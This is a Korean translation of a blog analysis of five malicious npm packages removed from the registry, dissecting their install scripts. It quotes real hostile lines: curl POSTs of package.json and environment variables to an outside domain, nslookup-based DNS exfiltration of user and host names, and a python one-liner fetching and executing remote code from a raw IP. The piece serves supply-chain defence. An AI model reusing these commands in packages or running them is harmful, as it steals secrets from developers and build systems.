원문: https://blog.sandworm.dev/dissecting-npm-malware-five-packages-and-their-evil-install-scripts
npm에 게시된 패키지는 설치 전 또는 설치 후에 실행되는 스크립트인 preinstall
그리고 postinstall
훅을 정의할 수 있습니다. 즉, npm CLI가 패키지를 설치할 때 사용자의 컴퓨터에서 해당 스크립트도 실행합니다.
이는 백그라운드에서 은밀히 실행됩니다.
나쁜 생각이 떠오르시나요?? 그렇습니다.
npm의 모범 사례에 따르면 install 스크립트가 유용한 경우는 거의 없습니다.
install
을 사용하지 마세요. 컴파일에는.gyp
파일을 사용하고 다른 모든 것에는prepare
를 사용하세요.preinstall
또는install
스크립트를 명시적으로 설정할 필요는 거의 없습니다. 이 작업을 수행하는 경우 다른 옵션이 있는지 고려하세요.install
또는preinstall
스크립트는 특정 타깃 아키텍처에서 수행해야만 하는 컴파일의 경우에만 유효하게 사용할 수 있습니다.
실제로 이러한 스크립트는 패키지를 설치하거나 업데이트할 때마다 수행해야 하는 작업을 자동화하는 데 매우 유용할 수 있습니다. 패키지가 올바르게 설치되고 필요한 설정 또는 구성 작업이 자동으로 완료되도록 하는 데 도움이 될 수 있습니다. 예를 들어, preinstall
스크립트는 특정 종속성이 설치되었는지 또는 환경이 올바르게 설정되었는지 확인하고, postinstall
스크립트는 에셋을 컴파일하거나 데이터베이스를 구성할 수 있습니다.
그러나 preinstall
과 postinstall
스크립트 사용에는 몇 가지 위험이 따릅니다. 예를 들어, 악성 패키지에 사용자의 시스템을 훼손할 수 있는 preinstall
스크립트가 포함될 수 있습니다. 또한 설치 과정에서 임의의 코드를 실행하면 보안 취약점이 발생하거나 예기치 않은 동작이 발생할 수 있습니다.
install 스크립트가 얼마나 나쁜 영향을 끼칠 수 있는지 악의적인 작업을 수행해 레지스트리에서 제거된 5개의 패키지를 통해 확인해 봅시다.
micro-username
은 2023년 2월에 약 이틀 동안 레지스트리에 존재했던 패키지입니다. 공개되어 있는 동안 this is for micro-soft
부터 Simple PoC package for testing for dependency confusion vulnerabilities.
까지 다양한 설명을 포함한 28개 버전이 게시되었습니다.
패키지의 preinstall
스크립트가 은밀하게 데이터를 탈취하려고 시도했습니다.
이 스크립트는 개발 머신에 대한 개인 정보를 노출하는 여러 명령을 사용해 구성된 URL로 전송합니다.
whoami
는 현재 사용자 이름 또는 현재 사용자와 연결된 사용자 ID(UID)를 반환합니다. 대부분의 경우 이는 사용자의 실제 이름일 수 있습니다.pwd
는 사용자가 현재 있거나 작업 중인 디렉터리인 현재 작업 디렉터리를 반환합니다. 이렇게 하면 현재 컴퓨터의 경로 구조에 대한 세부 정보가 표시됩니다.hostname
은 사용 중인 컴퓨터 또는 장치에 할당된 이름을 반환합니다. 이 이름은 도메인 이름과 호스트 이름이 포함된 정규화된 도메인 이름(fully qualified domain name, FQDN)일 수도 있고, 호스트 이름만일 수도 있습니다.wget
의 --quiet
옵션은 wget
이 사일런트 모드로 작동하도록 지시하는 커맨드라인 옵션으로, 기본 진행률 표시기를 제외한 모든 출력을 표시하지 않는 것을 의미합니다.
@primeo/address
는 2021년 12월에 4일간 배포되었으며, 단일 버전으로만 배포되었지만 매우 정교한 install
스크립트가 포함되어 있었습니다.
nslookup $(whoami).u.pkgio.com
: 이 명령은 nslookup
도구를 사용하여 호스트 이름 $(whoami).u.pkgio.com
과 연결된 IP 주소를 조회합니다.nslookup $(uname --nodename).h.pkgio.com
: 이 명령은 nslookup
도구를 사용하여 호스트 이름 $(uname --nodename).h.pkgio.com
과 연결된 IP 주소를 조회합니다. uname --nodename
명령은 현재 컴퓨터의 호스트 이름을 확인하는 데 사용되며, 이는 호스트 이름을 구성하는 데 사용됩니다.curl -X POST -d @package.json -H 'X-BOT: nope' https://www.pkgio.com/.x773/package.json
: 이 명령은 -d 옵션으로 지정한 package.json 파일의 내용을 body에 담아 HTTP POST 요청을 보냅니다. 기본적으로 앱의 매니페스트 파일 내용을 전송합니다.curl -X POST -d @/tmp/.env -H 'X-BOT: nope' https://www.pkgio.com/.x773/env.json
: 이 명령은 env
명령을 사용하여 현재 환경 변수를 /tmp/.env
파일에 씁니다. 그런 다음 -d 옵션으로 지정된 /tmp/.env
파일의 내용을 body에 담아 HTTP POST 요청을 보냅니다. 이렇게 하면 사실상 모든 개인 환경 변수가 알 수 없는 인물에게 유출됩니다.ovh-ui/oui-checkbox
는 2022년 6월에 약 일주일 동안 배포되었으며, 프랑스 회사 Sekost의 버그 바운티 프로그램의 일부인 것으로 보입니다. HTTP 대신 DNS 요청을 사용하여 탐지를 더 회피하려고 시도했습니다.
도메인 이름으로 dig
명령을 실행하면 DNS 서버로 DNS 쿼리를 보내고 해당 도메인에 해당하는 DNS 레코드를 검색합니다. 이 명령은 DNS 문제를 해결하거나 DNS 구성을 확인하거나 DNS 탐색을 수행하는 데 유용할 수 있습니다.
하지만 멀웨어가 악의적인 목적으로 dig
를 사용할 수도 있습니다. 멀웨어는 dig
를 사용하여 침해된 시스템에서 데이터를 유출할 수 있습니다. 멀웨어는 DNS 쿼리를 은밀한 채널로 사용하여 기존의 보안 제어를 우회하고 IP 주소에 의존하는 보안 도구의 탐지를 피할 수 있습니다. 위 예시의 nslookup
사용도 마찬가지입니다.
또한 멀웨어는 DNS 쿼리와 응답을 사용하여 공격자의 시스템과 C&C 서버 간에 데이터를 전송함으로써 방화벽 및 기타 보안 제어를 우회할 수 있는 기술인 DNS 터널링에 dig
를 사용할 수 있습니다.
node-hsf
는 2018년에 한 달 동안 배포되었으며, https://github.com/alibaba/ 조직에서 가짜 저장소 URL을 제공하여 알리바바의 오픈 소스 라이브러리로 위장하려고 시도했습니다. 작성자는 총 7개의 버전을 게시했으며, 각 버전은 파이선 코드 다운로드 및 실행을 포함하여 preinstall
스크립트를 악용하는 다양한 방법을 모색했습니다.
1.3.3 버전은 wget
을 사용하여 파이선 스크립트를 다운로드하고 사용자의 홈 디렉터리에 .vim.hint
라는 눈에 띄지 않는 숨겨진 파일로 저장하는 단순한 접근 방식으로 구현됐습니다.
하지만 1.3.4 버전에서는 preinstall
스크립트가 조금 더 스마트해졌습니다.
위의 명령이 수행하는 작업은 다음과 같습니다.
nohup
은 백그라운드에서 명령을 실행하고 터미널이 닫혀 있어도 스크립트가 계속 실행되도록 합니다.python
은 파이썬 코드를 실행하는 데 사용되는 인터프리터입니다.-c
는 다음 인수를 실행할 명령으로 처리해야 함을 나타냅니다.'import urllib;exec urllib.urlopen("http://121.196.214.81:8083/p.py\").read()'
는 urllib
라이브러리를 임포트하고 이를 사용하여 URL http://121.196.214.81:8083/p.py
에 있는 파이썬 스크립트를 다운로드 및 실행하는 한 줄의 파이썬 코드입니다.&
는 백그라운드에서 앞의 명령을 실행하는 셸 연산자로, 터미널을 다른 명령에 사용할 수 있도록 합니다.alicov
는 2018년에 약 한 달 동안 배포됐으며 총 15개의 버전을 게시했습니다. 악의적인 의도를 감추기 위해 복잡한 설치 스크립트를 사용했습니다.
이 파이썬 스크립트는 잠재적으로 위험한 URL을 요청하는 악의적인 작업을 수행하는 람다 함수를 정의합니다. 람다 함수는 중첩된 __contextlib.nested()
함수를 사용하여 정의됩니다. 이 함수는 리소스 정리를 처리하는 컨텍스트 관리자를 생성하는데 사용됩니다.
람다 함수는 (__import__('urllib', __g, __g, ('urlopen',), 0))
인수를 사용하여 즉시 실행되며, 이 함수는 urllib
모듈을 임포트한 다음 해당 urlopen
함수를 호출하여 잠재적으로 위험한 URL의 코드를 열고, 컴파일하고, 평가합니다.
그 후 스크립트는 가짜 패키지임을 나타내는 메시지를 인쇄하고 사용자에게 올바른 패키지를 얻기 위해 NPM을 사용하지 말라고(?!) 경고합니다. 신뢰할 수 없는 코드 실행의 위험성을 보여주기 위한 경고 또는 장난 스크립트처럼 보입니다.
npm install
에는 위험이 따릅니다이 글을 쓰기 위해 조사하는 동안 package.json
매니페스트에 직접 악성 install 스크립트를 정의한 많은 패키지를 쉽게 찾아볼 수 있었습니다. 그러나 이는 단순한 접근 방식이며, 대부분의 멀웨어는 민감한 코드를 훨씬 더 효과적으로 숨기고 난독화합니다. 현재 npm 레지스트리에 있는 약 70만 개의 패키지 버전이 install 스크립트를 선언하고 있으며, 따라서 개발 컴퓨터 또는 CI 빌드의 보안을 침해하는 코드를 실행할 수 있습니다. 매일 더 많은 버전이 추가되고 있습니다.
이러한 위험을 완화하려면 자바스크립트 개발자가 사용하는 패키지의 install 스크립트를 주의 깊게 검토하고 신뢰할 수 있는 출처의 패키지만 설치하는 것이 중요합니다. 또한 개발자는 sandworm audit
과 같은 도구를 사용하여 패키지 종속성에서 보안 취약점을 식별하고 보안 업데이트를 최신 상태로 유지하는 것도 고려해야 합니다.
🚀 한국어로 된 프런트엔드 아티클을 빠르게 받아보고 싶다면 Korean FE Article(https://kofearticle.substack.com/)을 구독해주세요!